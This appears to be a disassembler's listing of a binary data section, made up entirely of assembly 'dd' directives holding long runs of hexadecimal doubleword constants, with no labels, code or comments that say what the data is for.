		dd 0F948DCB3h, 0F530E44Bh, 2D923AEAh, 0FDDB5750h, 975B0340h
		dd 0DB81D718h, 9AFA5609h, 8BA2715Ch, 0B2FD3AB3h, 9AE455DEh
		dd 9C39E850h, 84224902h, 0D75FE109h, 0B5842179h, 0B3AF1CADh
		dd 0D487003Fh, 0FBCB253Dh, 0AE7D0564h, 0FA8933F2h, 10BD9CCh
		dd 67489FBBh, 0D4D63052h, 0B106E864h, 4DD3F28Eh, 1BE525E6h
		dd 6697D27Bh, 0C4ECD4BAh, 4941EFFFh, 0BD99D33h,	25DAA72Ah
		dd 95E1860h, 31E5208Dh,	0D49189FAh, 27FE42ADh, 681561E2h
		dd 7EF4B203h, 16600E81h, 0ADF6EB26h, 2CCB879h, 0F5699FE2h
		dd 4FFD858Dh, 28ADC09Fh, 0BF00F536h, 2B421179h,	9BB6090h
		dd 4AC82CDAh, 0C695BB66h, 0AF614FBDh, 5B516844h, 0EB881312h
		dd 0FCE26185h, 93776C2Fh, 9020244Ch, 72BBC078h,	7B251D4Eh
		dd 72485B61h, 0D6F88975h, 0C08469EBh, 0F1608403h, 2CA72A37h
		dd 0A73114B2h, 8D139F27h, 393CFFD1h, 0D0CF9D3Ch, 6131C460h
		dd 0EE110016h, 0E1219D75h, 900D381h, 293297EFh,	971F19BDh
		dd 8D310030h, 76872D71h, 0D279DE4h, 78B75513h, 30BA9893h
		dd 0C8BE496Eh, 5B416F2Dh, 0DD744CD1h, 0C9DC1153h, 3E60F974h
		dd 1C029DFh, 3F0BDDBDh,	884A07F7h, 930328AEh, 0BF26A84Bh
		dd 5099F1FDh, 5EB57630h, 0D97B8Dh, 0D54A7963h, 0E562FB6h
		dd 0ABD7816Eh, 0AE716784h, 6AFF6074h, 0C16B003Ah, 5E3289A5h
		dd 0F3E20A58h, 826B50F9h, 0C9A8B459h, 5D9D5h, 385BF1E4h
		dd 8EF4A0EAh, 0FE0EF525h, 564DAF9Eh, 73CEFFCBh,	8195891Ch
		dd 1EB7772Dh, 1D9ECC27h, 5DDD6253h, 0F256548Ch,	0BF1A1D12h
		dd 0F726DA61h, 0BFDA60E6h, 8903CE7h, 88C33758h,	92F86E9Bh
		dd 0B80060D9h, 77D699EBh, 0E2E36FFAh, 2519975Fh, 64E5D929h
		dd 0D32480A4h, 0F1C90494h, 6F5E271Dh, 0EBE70763h, 5105985Ah
		dd 0B0DF4B44h, 6DB55B56h, 641D647Dh, 0FCF2D4BEh, 9688D316h
		dd 203B0075h, 4BDFC5A3h, 0EA85084h, 8001E25Fh, 94BDCBE7h
		dd 203BFD38h, 0C5E0D34Bh, 45D3E01h, 116BCE40h, 4A5F83FCh
		dd 0ADA5845Bh, 8C1DAC2Fh, 132C7603h, 98725559h,	9D5F6056h
		dd 1C59E25Bh, 27FB2E19h, 82D32CBh, 100474C1h, 1358BF66h
		dd 0BBC2837Ah, 7F71306Fh, 0E25A9D17h, 576B79Fh,	0C42A1719h
		dd 73F7BE2Ch, 4AFF6A5h,	0FC51EDACh, 0A2EBB6AFh,	0CAA2B019h
		dd 0C5F3396Fh, 0E3F2C4AFh, 591D0925h, 0A954699Dh, 5DB55FA7h
		dd 3F80082Bh, 0C5DD6E47h, 0F7060BA9h, 0E47DC27Bh, 3C44004Eh
		dd 0A0789077h, 15003688h, 0C546EE50h, 251E804h,	1468F381h
		dd 0AD4165CCh, 73876FF8h, 61D4B964h, 6D2A09BAh,	0BF70CD4Ah
		dd 0E953F695h, 194B0BD8h, 0C86F399Dh, 7F0084CCh, 0E39B6D7h
		dd 1CFE7B4h, 0E013A5F3h, 92BDB529h, 380E5F57h, 50E252F9h
		dd 6CB11E88h, 0C06070Dh, 9513F120h, 50DA5983h, 70BFCCADh
		dd 62A4F14Bh, 1753B587h, 550BD58Bh, 17E077CDh, 33F79DEh
		dd 0B1A86CDDh, 0DBCCB70Fh, 0C21B88D1h, 46D56CA8h, 0F6D89D82h
		dd 532D6AB6h, 181459A0h, 919BE4Dh, 5402B5A2h, 5E5C1699h
		dd 39AD6071h, 0EA809337h, 6427F937h, 53782DE9h,	7F10CA61h
		dd 0AFD2FBB2h, 30006D6Ah, 0F8ED7D1Dh, 9D160949h, 76FF2A3Dh
		dd 0D84B0CE0h, 293D7D8Bh, 16A9AD4Eh, 0D1AC66E9h, 0E0D0A64Eh
		dd 0B4C18B42h, 0F71DDC05h, 8A5C33A7h, 7C89CBD7h, 0E7A77F8h
		dd 9C0F70B0h, 0AF5C0840h, 7EB75BFCh, 8281459Bh,	0A57D740Bh
		dd 0AF45D1FDh, 0C740F568h, 4144B966h, 8B562F5Fh, 58EDA077h
		dd 168033FFh, 515EE1C9h, 810391ABh, 0CC79D7F6h,	0EEB8F9E3h
		dd 7C28D08Eh, 0D660A749h, 0A41B3820h, 0BFD8974Eh, 33D91841h
		dd 8A101B20h, 5804675h,	4A0A407h, 0AB43FA65h, 0C8EB8361h
		dd 5A81F8B4h, 0FE3D1EFh, 0E6402B85h, 0E1FBBA66h, 19091E9h
		dd 6F29DFB3h, 3B7C6198h, 96E95E45h, 790C3FF0h, 0FA4C00ECh
		dd 794EBF76h, 0C700A74Fh, 81D3DC95h, 0C90712h, 481C9211h
		dd 7A65995Fh, 0F7A18800h, 0E1BB9ECCh, 0C09C5C53h, 0F1627660h
		dd 92014CA5h, 3611C6ECh, 41D3EA66h, 1983C511h, 7C88C06Ah
		dd 82A45800h, 0D4E16E37h, 4BE4186Bh, 512316Fh, 1EE2BD1Ch
		dd 21E36E81h, 188CED57h, 9248E716h, 6160C978h, 0CCB8AF30h
		dd 96A40114h, 6C4A66DDh, 1EA880ADh, 0CAD5D952h,	4FD30065h
		dd 0C1F5BEECh, 0BD5C191Bh
		dd 9E260067h, 0D1946698h, 51B1C75Eh, 0B7EFB321h, 0FD962010h
		dd 69363078h, 0A94FD2EAh, 927F2AE6h, 6F41D9DDh,	0F8BB1D8Dh
		dd 51BD1180h, 47FD69D5h, 0ED05C819h, 880FC19h, 5E86D86Bh
		dd 9A365A10h, 55E1506Eh, 4AD8BC31h, 0F07000E4h,	3F3DDACCh
		dd 0D906E76Ch, 7D601A14h, 16940718h, 5063D693h,	9237B91Bh
		dd 86E808CFh, 3FB8CEC6h, 1E87B867h, 8771EEA5h, 0BA2BD186h
		dd 4CC10E8h, 666F015Eh,	6D967DDDh, 0F7089B0Dh, 5E3C8821h
		dd 417300FAh, 0FC263D8Ch, 5B019D67h, 0C61EE858h, 599166EAh
		dd 5E01832Eh, 3105F268h, 39AF10F6h, 4A6005Eh, 7C6EFE61h
		dd 2E18E844h, 1350F01Eh, 953C284Ah, 6B3928E4h, 74834A0h
		dd 0A0100E5Ah, 0C345230h, 41F60F76h, 0DC1A101Bh, 0A18C40AEh
		dd 29C01EECh, 2286F71h,	193171E8h, 84990CDh, 0DC21806Ah
		dd 0A5262866h, 0AF8118B5h, 0CCE71914h, 4D77D700h, 0BA6CDCE3h
		dd 4C8E0112h, 0F65A18F4h, 0A5E44116h, 20C4D5ECh, 3C2A1234h
		dd 7A2ACCB6h, 9638E81Ch, 0F15D00D5h, 0F3B217A1h, 0EF6000E4h
		dd 0C351829h, 1F60CD7Fh, 99CA2320h, 2EF30FA8h, 7C60F21Bh
		dd 7DDCB3CBh, 193C3700h, 5F3DDF35h, 67E85Bh, 0EC1ED06Ah
		dd 290D784Bh, 30C78200h, 8D720BD9h, 0B1F7007Ah,	8540E4FDh
		dd 1DF8B078h, 0FF0494Ch, 0E2F14CC5h, 609CAA34h,	0B2B878h
		dd 0BC38EA69h, 4C01F7F5h, 1086E200h, 0ED6A5DC6h, 0CEFD001Bh
		dd 0AAC4C511h, 803FC2D0h, 17B900DBh, 5AFA9F2Eh,	0E35800AFh
		dd 29150975h, 0A6E26A5Fh, 0D6BCD700h, 0B22B4C57h, 0CD5E0FDDh
		dd 8E80AB6Eh, 177A1352h, 0D5C65500h, 2903BDFCh,	0A2B9066Dh
		dd 88E95C9h, 2052FD30h,	385D7h,	0D3442183h, 0D1102449h
		dd 7C1BF603h, 1A2D950h,	0AF995A28h, 0BD1AE85Eh,	7DE68320h
		dd 3A1CD550h, 870CFB68h, 0B511D0FEh, 6C15BE00h,	0C26EA05Bh
		dd 898FB52h, 0A61321D9h, 7AD7150Ch, 0B989E6h, 9E485E4Eh
		dd 0A51B0916h, 80BF123Eh, 8BD231D7h, 39C70D71h,	74501146h
		dd 0B8048C60h, 0A16D2C03h, 0DA20F862h, 1CB0380h, 4AE257EEh
		dd 0F33EE731h, 0BCD1FED0h, 9850FF3Eh, 0A7511458h, 7F0118CDh
		dd 0D328E8FDh, 0BB78CA50h, 4CB14614h, 66C70644h, 107719h
		dd 79FB156Fh, 6C45E8D5h, 72E12C01h, 97A718D3h, 19EAFCh
		dd 0D2E38C7h, 22FD3BD6h, 0ACC5D200h, 0F2081FCAh, 42DF00B4h
		dd 57F3448h, 32003C1Dh,	2194E406h, 2C866578h, 3277DFh
		dd 2D1EB7E0h, 6B0FAF72h, 40408AF0h, 0DE070103h,	0BC331CE9h
		dd 0DF48012h, 90C7D054h, 9D5C3E00h, 0EDB1C2FBh,	0FDB90ED6h
		dd 274FA8E6h, 0D1D0CE60h, 1E007063h, 1FF4AC29h,	377A34h
		dd 53371B7h, 6D3B2FFBh,	779FCF0Fh, 6AFE213h, 880C8004h
		dd 0CEE3D0h, 97D1B768h,	49F65D4Eh, 0BA35DF07h, 28BC162Fh
		dd 33463A9Ch, 0AC4BFC3Dh, 4170ECEh, 80DF41B5h, 90C429D3h
		dd 0B9950E6Ah, 0CA4039C1h, 20FC06BAh, 4E839E03h, 384596BDh
		dd 4F803C58h, 21415D7Ch, 4901E0A1h, 625AEFAh, 0DE805FF1h
		dd 0FB75B11Bh, 543BEAE8h, 1F4400F7h, 0B2CD5D2Ah, 8E530EBh
		dd 5B9F8A70h, 608FE751h, 0CF00FA98h, 0AC9E8F5Ah, 6149E43Ah
		dd 0D2B0194Dh, 65DDC68h, 0AAE1636Eh, 338F84F5h,	32E198B5h
		dd 106531D0h, 0BEDAED60h, 0C0820020h, 2078ECD6h, 87C3007Fh
		dd 0A08BA981h, 0ED004BCBh, 0E3F23C5Eh, 61FFDFh,	0DEBE6E3Bh
		dd 5D2B9DF9h, 0EEBBCB00h, 0A5FDBFD7h, 0D51F00DDh, 0D4138E34h
		dd 0FC00EF8Dh, 786DF8AFh, 95CA43h, 0F970DA62h, 0D47F139Eh
		dd 275AFB00h, 0B1AEE65Dh, 50800ED7h, 837DC65Fh,	0CFA2548Dh
		dd 887F1801h, 580DDCEh,	6C56E01h, 0E419C170h, 0DEF224B5h
		dd 0CCDC0401h, 55279186h, 740861FAh, 7BB7340h, 0D6EEDB20h
		dd 0F0EC29C9h, 278C5809h, 4F1E031Eh, 0A2083016h, 58090F21h
		dd 4838476Ch, 9A4188F3h, 0DC275Ch, 77428901h, 5CA9F0h
		dd 9D4F1B37h, 26D1A170h, 0BBD6EF01h, 0D7EBDDDh,	0E0CD03DCh
		dd 25B40132h, 0F281C43Bh, 33F1E869h, 185A9E00h,	1F834D73h
		dd 3BDF1E94h, 3604177h,	60E7A5CAh, 0EB00D750h, 9374A83Ch
		dd 0DD7F9Ch, 7AF497CDh,	0B33E3642h, 0F0456C0Fh,	8A15C02Dh
		dd 5A2FDEh, 9C84E11Ah, 0EC1F2A62h, 0FDC918CAh, 0F00DC1Fh
		dd 9A589826h, 2880F5D0h, 57C6E17Fh, 0B003F87h, 946CF853h
		dd 3B0A758h, 0A47DBF2Fh, 180031B3h, 1C03DB3Eh, 1F088957h
		dd 0E9969C0h, 21C1409Ch, 8009F7E7h, 261784A8h, 0A0BF8Ah
		dd 5BBD1E87h, 0B016151Bh, 6CE24000h, 39D0B1E1h,	0DC2E004Ch
		dd 7BF83624h, 780C86D9h, 0B89F474Ah, 0D1930A4Fh, 1DFC59DAh
		dd 5AAA0112h, 8C0B13DBh, 0D8A0B569h, 22FE009Ch,	5492416Dh
		dd 0D0001DB2h, 0FDB5DA9Fh, 15F9D6Bh, 0D2924CFh,	0D0F0A3C0h
		dd 0DA00045Bh, 0E278437Ah, 707D3399h, 0F14A3E54h, 73640A0Fh
		dd 598A318Fh, 4F063EFEh, 18614962h, 98034EEAh, 68532BE7h
		dd 7218659h, 0E272D475h, 401FB8A2h, 0A6C1BEC6h,	71027F11h
		dd 342A034Bh, 4221C6Ch,	21BC0830h, 4A9AECh, 0FDAA0886h
		dd 19A62243h, 6A41526h,	3688218h, 0C0779062h, 0EEBE9068h
		dd 693E4FE5h, 8D1700FDh, 0FFA55D81h, 0C01C7413h, 85FA8758h
		dd 0F01E7EA0h, 0E8998C64h, 21AC9C08h, 0F885075Eh, 0DB6631B0h
		dd 436FF0E9h, 1909C548h, 9278131Ch, 8C5A1886h, 29008985h
		dd 0F895BBD0h, 98C1BAA8h, 0AE2F0003h, 9ECD9B41h, 0FA120A91h
		dd 3C003549h, 52A08A06h, 0C28B01F1h, 0E8611C10h, 0E28C200Dh
		dd 850BFE00h, 5508EF4Dh, 0B582030Fh, 74995C72h,	40E1079Fh
		dd 0D83521E6h, 525FC000h, 777EC10Ch, 91A40CF8h,	2418C468h
		dd 4667FA00h, 6CCF6A98h, 3CE2F040h, 0A300BB0Ah,	0CB6BCC19h
		dd 670C995Fh, 6082B5A9h, 6C9D0028h, 0A4C0BDC1h,	0D40021BEh
		dd 0A95FF5B0h, 61C1977h, 0C427C3F3h, 0CBF83086h, 21A17D06h
		dd 29B5A4h, 85D2A6D5h, 3FEF27D4h, 26EEA18h, 3C179B78h
		dd 5DB4F8BEh, 8C1C31D0h, 9CE98071h, 45FA25E7h, 6B623E08h
		dd 206E98E4h, 610931BCh, 3902E8B2h, 5C21A121h, 0AC10A351h
		dd 0EC2E81D3h, 2200F1F7h, 1C736C55h, 20776160h,	309CB499h
		dd 3F1F75CAh, 0CF008D20h, 1021F257h, 81AA18D8h,	6A73B139h
		dd 0D5DC2B01h, 0A5D3C9C2h, 0E3D0B571h, 6E9B31EBh, 80228151h
		dd 7BF77408h, 0FACFF80Fh, 0F9EF0FBEh, 0B806E57h, 9C1C815Ah
		dd 34AB9F03h, 0C882094h, 0AF362A79h, 5A3811D2h,	0A175831Dh
		dd 5B13119h, 0DED22416h, 64980007h, 5DCAF313h, 298F0200h
		dd 6FC85AFAh, 7967790Ch, 0CFE4162Ch, 78AE18FDh,	842891A1h
		dd 615424C2h, 6F003BBCh, 22288E02h, 88156Ah, 9DD0C71Ah
		dd 0CD998245h, 4C5B49h,	0A3B51BFh, 19D8FE24h, 8F6DC29h
		dd 9C2C24B4h, 8E3BA900h, 0F4E5F715h, 7A210F79h,	7689533Fh
		dd 8C742421h, 31BCFFh, 0F4F81D79h, 33C9B941h, 0B70918A1h
		dd 0A4D9210Ah, 0F900D7E0h, 0A524C3D5h, 41A360FAh, 0CA6CF535h
		dd 18B3FD00h, 0FF8528F6h, 4D220984h, 1E005C46h,	1F808EFBh
		dd 5F4827EAh, 0E8082A4Ch, 29647A5Ch, 0FC00D88Ch, 1A1E43F2h
		dd 79160C9Bh, 0CB0810D5h, 95006492h, 3FE43ECh, 0F6FFAD92h
		dd 0D3561FFBh, 5D8392B6h, 2EE9713Ch, 0D843C1CFh, 220007E4h
		dd 9235A4B3h, 3E055BFCh, 1009B9AFh, 0E4206D38h,	5C3F732Ah
		dd 0CFD8E502h, 0B31A8242h, 0AF3BD8BCh, 81E64324h, 893B50E1h
		dd 0EE3730h, 0BD9BAF21h
		dd 0A57D1726h, 3528221Bh, 0B7678869h, 0E510279h, 784AEF55h
		dd 1DD45C48h, 0E1061A7Ch, 0E9B6BA69h, 55C32409h, 1A858194h
		dd 0E85DC431h, 1509FCC9h, 5C1B9D3h, 0B0001C1Dh,	23497A6h
		dd 9951504h, 1500C022h,	1782243Bh, 0D330C7A7h, 5E938ADh
		dd 0E0910152h, 0E1950AE4h, 9308097h, 0BB71DC07h, 36A718A4h
		dd 0FA1F8130h, 0C2F1AB60h, 2D64A6h, 69631A46h, 8724CD84h
		dd 0CE0279FAh, 0E26FB88Bh, 6EA6C1AFh, 3386F442h, 1A144388h
		dd 96104B46h, 0F1670E57h, 88064043h, 0C0C83FBEh, 203E8E90h
		dd 98A37545h, 2301C87Ch, 91ED69D9h, 0B4306F30h,	1A2C0582h
		dd 5DE6890h, 406B60B8h,	0E3C9EEB0h, 8064126Ch, 0AC087A98h
		dd 243F6C0h, 107B461Ah,	69075DDDh, 811F43F3h, 0FCE281A4h
		dd 7C01FFA6h, 939215D5h, 0F8202560h, 0ED51C140h, 8659C019h
		dd 27D0BE98h, 390D0819h, 4246295h, 8C9B2809h, 8CF790DCh
		dd 133943EEh, 972AC61Ah, 0F0663E94h, 0BA417380h, 0B3DC652Ch
		dd 13C7D0A8h, 490694A8h, 9F0D6F00h, 0F8FC3444h,	57540069h
		dd 0C970B20Ah, 506879Eh, 7D1ED722h, 45C00E9h, 0A8DF2A4Dh
		dd 0B54C77C0h, 1A62344h, 240B3BF4h, 88A31886h, 3B04AC9Dh
		dd 6327A65Eh, 406CCCC8h, 0E200A856h, 0C780E743h, 48655273h
		dd 0C0375827h, 2F7B4570h, 0CA23CCh, 0A838853Fh,	0CE01A6DBh
		dd 19BD9E2Ah, 0B832C30Fh, 2E0C9410h, 0E7002764h, 0E19D0A22h
		dd 2C7C9090h, 804C54B3h, 2E29A4E5h, 1D011FB8h, 24D176AEh
		dd 0D8347F4Ah, 601EFEA1h, 278A58C6h, 1C00C5B8h,	42224788h
		dd 93F1550Fh, 1AAF0EECh, 0B379E1A2h, 0AA10C019h, 0F71E1AD7h
		dd 5001522Bh, 27ADB9A3h, 9CEA4891h, 0E1FA1A01h,	1032BB91h
		dd 1AA88EDEh, 80359320h, 0E039B99Fh, 8BE90909h,	0F8948182h
		dd 0C2512C4h, 3CC478D1h, 0EB6802DAh, 4CE06B7Ah,	35E3FA40h
		dd 0D308A500h, 219D0406h, 1C90A038h, 0B2DF7494h, 0D22A090Ch
		dd 5C070D32h, 4DCE3D5h,	5061881Ah, 9F6C61B1h, 870C4h, 0CE53717Fh
		dd 0AE4A627Ah, 9F38B56Eh, 74B442Ch, 0BA47A69Ch,	0A5C40BC1h
		dd 802B199Fh, 44325E4Ah, 0D00F76CBh, 8F7B1BD1h,	9FF12E69h
		dd 50050ECCh, 8CDC1FAFh, 0AE5940C0h, 6169414h, 65BED009h
		dd 0FC90807Dh, 0E233719h, 3AA562A6h, 0C2C2DCE4h, 84401814h
		dd 131F3634h, 26414135h, 0A6B92212h, 6C5CF9FBh,	3ED820h
		dd 0D0944479h, 0C153BC4Ah, 0BCF6252Eh, 380090A6h, 0A2D8648Bh
		dd 7A1674B9h, 682754BEh, 0EA02007Ch, 33CEA2E8h,	0F500304Eh
		dd 0E9B86FB0h, 0D4779F8h, 0A4C44F46h, 3AA8C831h, 0CEE65E01h
		dd 0DF12AC64h, 0BBAAF20h, 92B0A0E9h, 0A2A75C87h, 70E0A40Bh
		dd 0A80066DDh, 36ECF251h, 785F3C94h, 0D7A700B2h, 123A29F1h
		dd 400FA15h, 0A8C933FFh, 1FBD4641h, 5D4938h, 13658577h
		dd 3200590Ch, 0C1D4F9D6h, 0E4AE11h, 3950C936h, 3E7F9C9Bh
		dd 0E0F37A18h, 659A48h,	0B7645101h, 56D4A062h, 0E8397200h
		dd 4C9BAC47h, 4586303Ah, 8007FF20h, 7BA4CC14h, 97AFE020h
		dd 72078671h, 0E0F984E4h, 273275E0h, 0B05474E5h, 9F7B84h
		dd 966CF0Ch, 0F97EE16Dh, 2B7308C6h, 0E8190020h,	75EAAC0Ch
		dd 8701D33Ch, 7D864539h, 0C884F270h, 0FD428Ah, 83276604h
		dd 230B00EBh, 17B87072h, 0F203B2E5h, 2B6F0276h,	1E91D166h
		dd 972AB040h, 7A1D0161h, 0F38BAAFDh, 694880FCh,	9AE194DAh
		dd 37FA0768h, 46FBA172h, 660021DDh, 901994B2h, 54B7F8E0h
		dd 297B84D6h, 3E24CEFDh, 9A9D9482h, 8019FBC8h, 94C1B210h
		dd 0D686400h, 8205B717h, 66DC7670h, 29B558FDh, 0EB544902h
		dd 84E11E8Bh, 0CB60BD34h, 9A239C94h, 5820B0h, 5B94C2B3h
		dd 0AF5C13AEh, 50D15D00h, 0FF2F17DFh, 0F2C92848h, 24046CCh
		dd 66B00C9Bh, 28EA3001h, 20801081h, 4DAFC3E9h, 230066F0h
		dd 316AF417h, 0F590FAEh, 7EE39933h, 13FF30F8h, 5CFE5124h
		dd 0D80EF180h, 79156D5h, 0F0154B2Bh, 61EB57DEh,	810DFA9Ah
		dd 36AF1E29h, 0B07EB856h, 0DF1DA1E6h, 5E00E705h, 0DBE00CB9h
		dd 60C8608Dh, 567199ACh, 7E779B01h, 13262B97h, 0E7E4498Ch
		dd 9A98FC08h, 96D59B00h, 9C2F43E9h, 974F0063h, 0F2CDBD60h
		dd 4D2A232Dh, 79098412h, 15517Dh, 0B57298A8h, 78130AF3h
		dd 0A0941862h, 236469Ch, 66DA0CE1h, 1A011C11h, 0EEFE0CE9h
		dd 5C24708Ah, 98D700C2h, 0B4C88321h, 750149FAh,	627F8A54h
		dd 344233CCh, 0C9C3003h, 0E966CB11h, 0ED80EB88h, 94A50CE5h
		dd 150124A9h, 38C2078h,	9FC93816h, 81AEB6FFh, 18A928A1h
		dd 0E09404CFh, 33FA509Ah, 0D731007Eh, 301494C6h, 0B70079CCh
		dd 89F7F2FAh, 6A37E643h, 7428B034h, 1F0FE047h, 0A863D2FEh
		dd 70B72F3Ch, 0AC8DD732h, 0E9ADB00h, 31E5AF59h,	17DD00FDh
		dd 8BC84FD0h, 0DCA03E65h, 0DA802D2Ah, 51E912FFh, 1C0040F7h
		dd 863E7731h, 0CDD64906h, 60081A71h, 0A076211Dh, 0D9006374h
		dd 0D3B25847h, 606E983Dh, 0BA77F427h, 0FCA3342Dh, 2A9850DCh
		dd 54008859h, 866C85DCh, 0F9C4AFh, 0F240E8F1h, 0D2523244h
		dd 0C27AC105h, 0C058249Bh, 3CBDC850h, 37A06178h, 0DD294C90h
		dd 5603D411h, 54E0D35Eh, 90D70CAh, 35C7C6C9h, 4F53A820h
		dd 0AD033134h, 0B55B0160h, 0DC083030h, 3427F921h, 0CC396900h
		dd 90672823h, 80FD75D9h, 0B4003F2Fh, 9BAEFABBh,	48816AAAh
		dd 76034BF7h, 0B95623B5h, 0BD7F3FE0h, 0F8E4F304h, 188F22B6h
		dd 39C365C8h, 4C25E027h, 0B04E014Dh, 0D89D9A29h, 0B91C60DAh
		dd 3044B52Ch, 7C047312h, 9C213256h, 8970CE4h, 0E166CC0Ch
		dd 1440E5C4h, 45300CE7h, 226B2B01h, 3BAED31Fh, 927F2040h
		dd 9BE62A7Eh, 0ACA400A4h, 0D79D1E05h, 9105CC17h, 0D1F1F232h
		dd 0C0CBB808h, 0AAC83448h, 0DB226846h, 5534FA80h, 5617A300h
		dd 798FB862h, 7B392C08h, 326DC30h, 0CA428451h, 0E367C040h
		dd 0B5670173h, 2A8C342Bh, 79A8DC75h, 241C20FBh,	12058890h
		dd 47908DF2h, 37C6AC06h, 8B890EA1h, 0D200C3DFh,	0E872D69Bh
		dd 0E049C91h, 0E24833FEh, 4174F6C0h, 0D7A12186h, 0B1000991h
		dd 0F3F274CEh, 0C11C7D17h, 51837FFDh, 40FBDAE3h, 8CCCA479h
		dd 0F7344104h, 216230AAh, 3419F320h, 4C31001Bh,	0EE60E3C8h
		dd 0C40230B4h, 39167CBDh, 2B8C413Ch, 0CFAC318Dh, 0E39CE018h
		dd 0C863DB10h, 49A42038h, 0A6841E2Ch, 9A2605ECh, 0E57408FDh
		dd 2AF201CBh, 7448A986h, 0BDB28806h, 24CF7404h,	5483B3D5h
		dd 52502B47h, 0BEE3F09Ch, 3F21FA3Ah, 66BA80AFh,	7299EE35h
		dd 30E71975h, 10EFE846h, 5CBE4DAAh, 2C7310E6h, 7C0C32BBh
		dd 802B7321h, 92638CF4h, 0A240451h, 311AD150h, 0A6A0C069h
		dd 62A30069h, 1061B4F0h, 7004937h, 72BC2CF5h, 92E47E7Fh
		dd 2FC633B8h, 1AA84639h, 7500E9D2h, 10C3E54Ch, 32B9233Bh
		dd 0D9F91451h, 0B000C4C4h, 3214E63h, 286526AAh,	107435D6h
		dd 1FBB5E5h, 0B07AA8CDh, 70F0E993h, 0D02CB101h,	862B72h
		dd 0A417D53Fh, 531DB0B5h, 0AD1B8517h, 0B4B809h,	10848AFCh
		dd 759FC63h, 567695B1h,	0F435C052h, 685877E6h, 8FD1298h
		dd 23B4B400h, 3F28D3Eh,	0B06258A1h, 0DAE09B77h,	0AF0CC055h
		dd 408903FDh, 0F94008Ah, 4F591CA1h, 0C90177B8h,	0F680BC37h
		dd 9034718Bh, 0BF030ED9h, 7A23E4B4h, 21EBD8FCh,	7070A5E9h
		dd 0E1702951h, 20516F25h, 0ACFB41FCh, 0C81102A3h, 1CD1C67Ah
		dd 0D261CC82h
		dd 0B497B0ABh, 6028E588h, 0F5CD652Bh, 6CB66800h, 22A3606h
		dd 2413132Eh, 52816EEh,	0C88A7F98h, 2D54C768h, 26F874DCh
		dd 5259E700h, 0D25AD131h, 0B3F81328h, 486C46CCh, 50879035h
		dd 192B3742h, 6486DCFDh, 0A99C2405h, 0C81FFFB5h, 7DB91640h
		dd 98BF4B23h, 48C24638h, 0AAA50997h, 2838B140h,	3403F510h
		dd 271E5309h, 9488847Ch, 73DCBCC8h, 0B6B53386h,	38BB0468h
		dd 0D4D1D0C8h, 1799C118h, 355C918h, 0A605B4E9h,	0FDD8DF2Eh
		dd 1901DD4Bh, 20729CC4h, 0E8815BF5h, 1245AD79h,	0E534200Ch
		dd 215C1079h, 9F240064h, 4D857441h, 3220C062h, 0E4CF083Dh
		dd 84202153h, 0DB6274B5h, 18E47CE5h, 0F722C560h, 42BAB900h
		dd 715D2E30h, 0E5E707DFh, 82A79DF6h, 0C8403675h, 0D5337C86h
		dd 98AF807Eh, 481C6697h, 0FC894C50h, 0EF7207h, 96E1F0C6h
		dd 411E660Fh, 0A1F809DEh, 897713CCh, 5C3288CCh,	78222CE1h
		dd 99658416h, 20395C5Fh, 1D19C48Ah, 18CE224Dh, 218451D9h
		dd 0F508F1D2h, 61764640h, 203A4C3Bh, 20FE0C4Ah,	0D9B9E24Dh
		dd 9CC1C860h, 0BC2F362h, 849EAF13h, 0DC7F1820h,	466426BBh
		dd 724F3150h, 393297C6h, 0F4150401h, 1941AF27h,	3CDDE5E0h
		dd 1B0B77F7h, 0B4062962h, 21F4710Dh, 85073F0h, 4CF02008h
		dd 1677E044h, 0DB363Fh,	0D3EF1EA4h, 15618C68h, 4E9B2E79h
		dd 49D7C824h, 30006439h, 2794D1ACh, 0BDFC8D99h,	7AD46D50h
		dd 2FFCA127h, 124568D4h, 9B8021C7h, 794C43A6h, 18808AC2h
		dd 1E111F0Ah, 21202E00h, 659C7DBFh, 6755005Bh, 0BD872809h
		dd 1E0046A9h, 0EE736159h, 0C78A6Fh, 72256F1h, 4096E63Ah
		dd 3EE9820Ah, 0D0781449h, 9E8E668h, 8B6D948Dh, 0C90C9881h
		dd 2E426C7h, 0AAAC3424h, 0C0E748h, 1D379CF4h, 3F00164Ah
		dd 0F1C37CB9h, 4811B066h, 2F4BD401h, 0FD64109Ch, 0C627A8C1h
		dd 650AE86Ch, 2E98453Dh, 83002C4Ah, 4D6B1042h, 0BA89CC2h
		dd 891EF25h, 7F3218E6h,	41861077h, 4F80B4D6h, 795BE474h
		dd 1B7C1E31h, 1A25CD9Ch, 79DC01B8h, 0B990004Fh,	3C074D99h
		dd 3C9DFC27h, 8B80DD91h, 31863DF1h, 0C86858C1h,	0BA000649h
		dd 42635965h, 844DA819h, 0F2380400h, 0E0C1B23Dh, 0CDE5F630h
		dd 9C200C31h, 1ABC008Fh, 0B9E2FF0h, 0A500AC15h,	0C216F384h
		dd 533BC962h, 50FE04EFh, 0E850ED5Dh, 6E31CF08h,	8861202Dh
		dd 9239817Eh, 30172038h, 28A5E700h, 42CFE1DDh, 61F33834h
		dd 842F028Ch, 22844C28h, 0B62206A9h, 28082235h,	446908E1h
		dd 28A30A07h, 302F219Ah, 5D1EC084h, 71321428h, 2108A107h
		dd 0D849D839h, 0D60B6A1Eh, 80F8D59Ah, 8C598BB3h, 0F40300E8h
		dd 84DC8DA9h, 5B01293Fh, 6C0C7B2Ch, 0B1E038B2h,	0D78009Eh
		dd 8BB6D8B7h, 4000E815h, 733CFC8Ch, 606E551Dh, 0F4ED323Dh
		dd 0D3000182h, 0B44FA71Ch, 13149C7Ah, 0EBADDCEh, 26202762h
		dd 206A03E2h, 2CBCB53Eh, 0EA07F10Ch, 960DD36h, 655A5Dh
		dd 482162CFh, 0AB124928h, 0BD150F00h, 0B911693Bh, 7F57BCBh
		dd 978B1F98h, 2A62058h,	0B100A2AFh, 1A37E055h, 0CF6344h
		dd 0E6B77856h, 17397DF1h, 0EB87701h, 32876147h,	0FC103831h
		dd 0E8AB2Ch, 71185EB2h,	0DE3476ACh, 31CC4100h, 0FC74C5A8h
		dd 55A100D6h, 7710448Ah, 4D007E4Eh, 7FCA6C0Ah, 48CED009h
		dd 3D0018C6h, 2D333925h, 7903BF2Bh, 511743Ch, 0A929B050h
		dd 99BD000Ah, 16351A5h,	9E0A661h, 0C505D600h, 12BB8E3Dh
		dd 0D3E50560h, 4A9D35h,	4CDC6CA4h, 600D562h, 7481A413h
		dd 0AB0EE3h, 0B4F52F1Fh, 0E4491C6Fh, 777E6300h,	410DA327h
		dd 0AED003AFh, 0C3D55A84h, 0EB8A11A0h, 0B12CBA00h, 0D6021FCDh
